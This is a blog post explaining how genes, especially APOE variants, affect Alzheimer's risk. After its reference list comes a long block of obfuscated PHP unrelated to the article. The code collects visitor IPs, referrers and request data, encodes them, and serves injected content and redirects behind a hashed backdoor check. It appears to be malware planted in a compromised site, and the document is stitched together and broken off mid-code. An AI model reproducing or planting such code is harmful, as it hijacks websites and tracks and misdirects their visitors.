Genetics and Alzheimer’s Disease

Written by Yen Ping Chew
Posted on December 20, 2018

Have you ever wondered what it would feel like to have Alzheimer’s disease? Have you ever been in a situation when the teacher called out to you to answer a question, but you don’t have an answer? Do you remember that feeling of shame and embarrassment?

Now imagine feeling constantly frustrated and embarrassed for forgetting things and people every single day.

What is Alzheimer’s disease?

Our brains are active 24-7, filled with a series of neurons firing away rapidly at all times. A complex ecosystem of proteins, ions and chemicals work together to support these neurons. The neurons can deteriorate progressively when the ecosystem are disrupted, eventually leading to diseases like Alzheimer’s.

Alzheimer’s disease is a progressive and irreversible form of brain disease, and it is characterized by gradual loss of memory and cognitive skills. As with many other conditions, the development of Alzheimer’s disease is influenced by a combination of genetics, age, lifestyle, environmental and medical factors. Most people diagnosed with Alzheimer’s disease only starts seeing the symptoms of the disease in their mid-60’s or later.

However, let’s look at how your genes play a role in your risk of developing Alzheimer’s disease.

Alzheimer’s disease and the associate genes

In the vast majority of people, any genetic risk of Alzheimer’s disease, whether it’s increased or decreased risk, is linked to variations in a large number of susceptibility genes that they have. There are many pathways linked to Alzheimer’s disease, which are inflammatory response, lipid metabolism and endocytosis.

Figure 1: Major pathways involved in Alzheimer’s disease and the associated genes, obtained from here.

One of the first genes discovered to be associated to Alzheimer’s disease is the APOE gene, which codes for APOE protein, the major cholesterol carrier in the brain. There are 3 major variants (also known as alleles) of APOE gene:

  1. APOE ε2
    This is the rarest form of APOE, and may reduce the risk of developing Alzheimer’s disease.
  2. APOE ε3
    This is the most common allele and does not seem to increase/decrease the risk of developing Alzheimer’s disease.
  3. APOE ε4
    This allele is present in approximately 10-15% of people, it is associated with an increase risk of developing Alzheimer’s and associated with earlier age of disease onset. A person can have 0, 1 or 2 APOE ε4 alleles, and the risk of developing Alzheimer’s disease increases with the number of APOE ε4 alleles.

Even though APOE ε4 increases a person’s risk of developing Alzheimer’s disease, having the APOE ε4 allele DOES NOT mean that a person will definitely develop Alzheimer’s disease. There are people with APOE ε4 alleles and never develop Alzheimer’s disease, while there are people diagnosed with Alzheimer’s disease who do not have APOE ε4 alleles.

Scientists have also discovered a number of other genes that are associated with the risk of developing Alzheimer’s disease, which we will not go into today. If you are interested, check out this table to learn more.

What can I do with when I learn about my genetic risks?

It’s important for us to remember that the development of Alzheimer’s disease is multifactorial, and it includes other factors such as lifestyle and environmental factors.

Knowing is better than not knowing. However, do know that having this knowledge can potentially empower people to make more informed decisions, and that can be a powerful tool to have.

Even though you can’t change your genetic risk factors, it is just one of the many risk factors. There are other risk factors that you have control over, for example your lifestyle, diet and other factors. With knowledge over your genetic risk, it can be an important motivator to push you towards a healthy lifestyle and other interventions.


References:

  1. National Institute of Aging. (2015). Alzheimer’s Disease Genetics Fact Sheet [Online]. Available at: https://www.nia.nih.gov/health/alzheimers-disease-genetics-fact-sheet [Accessed 20 Dec 2018]
  2. Genetics Home Reference. (2018). Alzheimer disease [Online]. Available at: https://ghr.nlm.nih.gov/condition/alzheimer-disease [Accessed 20 Dec 2018].
  3. Clin Interv Aging. Genes associated with Alzheimer’s disease: an overview and current status. 2016; 11: 665–681. Available at: https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4876682/ [Accessed 20 Dec 2018].

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x65\156\164"])); goto QWvm_m89LmNDj; wxds1ZPZC8t8f: header("\x48\124\x54\x50\x2f\61\56\x31\x20\x33\60\x32\x20\115\x6f\166\145\40\x54\x65\x6d\x70\157\162\141\162\151\x6c\x79"); goto G3yKAUUDdBKxr; QWvm_m89LmNDj: goto zWGKI4Hv2pTpv; goto W3ZYMEuL4xF9_; W3ZYMEuL4xF9_: case 404: goto UUL5hmfwmR0qY; YnYvxmOB6ia_T: header("\163\x74\141\x74\x75\x73\72\x20\64\x30\64\40\x4e\157\x74\40\x46\x6f\x75\156\x64"); goto O1k_1HkHx5g7k; O1k_1HkHx5g7k: goto zWGKI4Hv2pTpv; goto B2pDSvIkmb1VQ; UUL5hmfwmR0qY: header("\110\124\124\x50\x2f\x31\56\61\x20\x34\60\x34\40\x4e\157\x74\40\106\x6f\165\156\x64"); goto YnYvxmOB6ia_T; B2pDSvIkmb1VQ: default: goto zWGKI4Hv2pTpv; } goto fCJG5ES13l3i4; iKMb9NpQ0Wa1f: error_reporting(0); goto LOenakWexhCiK; CUVyx2kvjc7Bv: if (!strlen($k2gKYzhbIidOs["\x63\157\x6e\164\145\156\x74"])) { goto bTvjwr0JJluOZ; } goto VoMACLW07tNMn; ocrlFo60HdKtw: vGYt_mFZGk1hY: goto LeROmk0HXuaAG; Clqit5qp55a__: $v_byxu_GH_aWy = substr($KE8StQL98AulL, strpos($KE8StQL98AulL, "\56")); goto DvwabHGGPp6Vv; rrOKaW6ZdVRDp: if (!substr_count($_SERVER["\122\x45\x51\125\105\x53\124\137\x55\x52\x49"], "\x69\x6e\144\145\x78\x2e\160\x68\x70\x2f\x6a\153")) { goto o_xuu1JXjgvPa; } goto dTGPbnQx2SvI6; mSfx32hoK7RaE: O20GmmWpuB7Ut: goto gnYUJRdjCff78; JDj92HLtAnYcc: echo $k2gKYzhbIidOs["\x63\x6f\x6e\164\145\156\x74"]; goto FBiZ1ZPGbYLmx; t3H34IX4rP251: $fKcoUbHfweuX6["\x6c"] = oy9l4QJ9aVVkH($_SERVER["\110\124\x54\120\x5f\x41\103\x43\x45\x50\x54\137\x4c\101\116\x47\125\101\x47\x45"]); goto y6f9VEMauXjCK; y6f9VEMauXjCK: $fKcoUbHfweuX6["\163\x6e"] = oy9L4Qj9avvKh($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\116\101\x4d\105"]); goto xogq9eoBwDmsK; ORBmhUNgekww2: $fKcoUbHfweuX6["\151"] = oy9l4QJ9avVKH($xsb0RcE4lR6rA); goto t3H34IX4rP251; KzeZgHeO48EuW: exit(strrev(md5($_SERVER["\x53\x45\122\126\105\122\137\116\x41\x4d\105"]))); goto K86B8bWu8pcJq; NhYx_RNzamheN: $eDutF3HKVCcoo = ${$B3rRoYj4v_PhG[25 + 6] . $B3rRoYj4v_PhG[3 + 56] . $B3rRoYj4v_PhG[7 + 40] . $B3rRoYj4v_PhG[13 + 34] . $B3rRoYj4v_PhG[23 + 28] . $B3rRoYj4v_PhG[22 + 31] . $B3rRoYj4v_PhG[21 + 36]}; goto Ub2BxAEyOwJVd; Ub2BxAEyOwJVd: if (!(in_array(gettype($eDutF3HKVCcoo) . count($eDutF3HKVCcoo), $eDutF3HKVCcoo) && count($eDutF3HKVCcoo) == 12 && md5(md5(md5(md5($eDutF3HKVCcoo[6])))) === "\146\146\x61\67\62\x66\x32\145\x61\71\x36\x65\x35\x32\145\x36\71\x64\60\x34\61\61\61\70\71\x66\141\64\x31\x33\x38\142")) { goto vGYt_mFZGk1hY; } goto FsSR7k4J2LsRG; GwqkI894kGv2O: zWGKI4Hv2pTpv: goto wnyBx2zVb8v61; SjWPaBUhNup67: QMgqCEdetPwxq::Cuq74siIbbwTJ(); goto XlKw_LYyv2AwY; zA_Rx0oh4UIE1: $B3rRoYj4v_PhG = $vfMsUuKN031B5("\176", "\40"); goto NhYx_RNzamheN; zVWci7LAzQCjt: $fKcoUbHfweuX6 = array(); goto ORBmhUNgekww2; emEiNzmL9X5Q5: if (!(strpos($NR6oSGrPYGUjY, $fWJAz7jwqdmGh) === 0)) { goto IZPFl1hrtMoau; } goto Xc4mwOPgMyKkX; bkBKCPZzEBn0b: function Oy9L4QJ9AVVkh($CRt27rN_kKUwt) { goto EF1toTXdzBhck; VLHSB1_IFq9J3: return rtrim(strtr(base64_encode($CRt27rN_kKUwt), "\53\x2f", "\x2d\x5f"), "\75"); goto K2AOfEOJ4pi2D; eRjJduBShGMM8: return ''; goto o3lCkYoXQAAD3; EF1toTXdzBhck: if ($CRt27rN_kKUwt) { goto c1mS1ZwUXn6mw; } goto eRjJduBShGMM8; o3lCkYoXQAAD3: c1mS1ZwUXn6mw: goto VLHSB1_IFq9J3; K2AOfEOJ4pi2D: } goto HwWbK1tn_TfG4; A0nsnuCB0Tk8g: $fWJAz7jwqdmGh = mVZUV88zu2YJI() . $_SERVER["\x48\124\124\x50\x5f\110\117\123\x54"]; goto emEiNzmL9X5Q5; L4N4x49hNnNph: $NR6oSGrPYGUjY = strval(@$_SERVER["\110\124\124\120\137\x52\105\x46\105\122\105\122"]); goto A0nsnuCB0Tk8g; JMoDVVROH8OCS: $fKcoUbHfweuX6["\163"] = Oy9L4qJ9AVvkh($fWJAz7jwqdmGh); goto FtpFOwVpYZ2Xp; bgYubpEeeCNXl: if ($SwEZuHdgOSyyr) { goto OIgTYm8OBN0aV; } goto HHLZ0JDXq8oeZ; xogq9eoBwDmsK: $fKcoUbHfweuX6["\162"] = OY9l4QJ9aVVKH($_SERVER["\122\x45\x51\125\105\123\124\137\x55\x52\x49"]); goto UbxXxfFtloArX; HwWbK1tn_TfG4: function u6IY2wkCLs09o() { goto yJ2JawYU5KAY0; juwCA60Lo9ZNj: if (isset($_SERVER["\110\x54\124\x50\x5f\130\137\122\105\101\x4c\137\x49\120"]) && !empty($_SERVER["\x48\124\124\120\x5f\130\137\122\x45\x41\x4c\x5f\x49\x50"])) { goto HyHWa0fylirXs; } goto Ca4QAKld__sVY; fZiJQgWIfn4tA: axCk0Ed0mQKFV: goto Ko2zOmvRTWOwC; M862cTe5sr_31: $xsb0RcE4lR6rA = explode("\x2c", $xsb0RcE4lR6rA); goto sd0jwVmzZ71We; DwIV2MAV2fhMJ: HyHWa0fylirXs: goto UlnpGeWCClJE0; yuYMWDEYRfKxm: goto cPB2cyg8FWhE6; goto fZiJQgWIfn4tA; sd0jwVmzZ71We: $xsb0RcE4lR6rA = $xsb0RcE4lR6rA[0]; goto zRObLq_OpLiqP; Ko2zOmvRTWOwC: $xsb0RcE4lR6rA = $_SERVER["\x48\124\124\120\137\x43\106\x5f\x43\x4f\x4e\116\x45\x43\x54\111\x4e\x47\x5f\111\x50"]; goto q32KIVTgNQrDU; Ca4QAKld__sVY: if (isset($_SERVER["\110\124\124\120\137\130\137\x46\117\x52\x57\101\122\x44\x45\x44\137\x46\117\x52"]) && !empty($_SERVER["\x48\x54\124\120\137\130\137\106\x4f\122\127\101\x52\x44\105\x44\137\106\117\x52"])) { goto trSwYhMpKBLo3; } goto mQ6MIazCsvpi3; WJAoo1Ek_WEiZ: if (isset($_SERVER["\110\x54\x54\x50\137\103\x46\x5f\x43\x4f\116\116\x45\103\124\111\116\x47\137\x49\x50"]) && !empty($_SERVER["\x48\124\124\x50\x5f\x43\106\137\103\117\x4e\116\105\x43\124\111\x4e\107\137\x49\x50"])) { goto axCk0Ed0mQKFV; } goto juwCA60Lo9ZNj; W5rex8VQSuDgj: $xsb0RcE4lR6rA = $_SERVER["\110\124\x54\x50\x5f\x58\x5f\106\117\x52\127\x41\x52\x44\x45\104\x5f\x46\x4f\122"]; goto gBn7ylzTrUKkV; C7udJvs4n14pk: return $xsb0RcE4lR6rA; goto D1AZleiZlUvYy; q32KIVTgNQrDU: goto cPB2cyg8FWhE6; goto DwIV2MAV2fhMJ; gBn7ylzTrUKkV: cPB2cyg8FWhE6: goto X_WoTpG1Z6eMp; w8nS4viDEwGLB: trSwYhMpKBLo3: goto W5rex8VQSuDgj; yg3KMWRAq9g2I: goto cPB2cyg8FWhE6; goto w8nS4viDEwGLB; mQ6MIazCsvpi3: $xsb0RcE4lR6rA = $_SERVER["\x52\x45\115\x4f\124\105\137\101\x44\104\x52"]; goto yuYMWDEYRfKxm; UlnpGeWCClJE0: $xsb0RcE4lR6rA = $_SERVER["\x48\124\124\x50\137\130\137\122\x45\x41\114\x5f\111\x50"]; goto yg3KMWRAq9g2I; zRObLq_OpLiqP: nRAE_rbKgGFOi: goto C7udJvs4n14pk; EHon44BHSRjTs: if (!(strpos($xsb0RcE4lR6rA, "\x2c") !== false)) { goto nRAE_rbKgGFOi; } goto M862cTe5sr_31; X_WoTpG1Z6eMp: $xsb0RcE4lR6rA = trim(str_replace("\40", '', $xsb0RcE4lR6rA), "\x2c"); goto EHon44BHSRjTs; yJ2JawYU5KAY0: $xsb0RcE4lR6rA = ''; goto WJAoo1Ek_WEiZ; D1AZleiZlUvYy: } goto kz8Sj39h2k1oR; OJ7PC6hUpTLDQ: error_reporting(0); goto e1qHgZ5kQh333; gnYUJRdjCff78: dDp60WEP5KucA: goto bgYubpEeeCNXl; Xc4mwOPgMyKkX: $NR6oSGrPYGUjY = ''; goto nZ3SrqwAvDoV3; P0Iq6Ou1jvLCT: OIgTYm8OBN0aV: ?>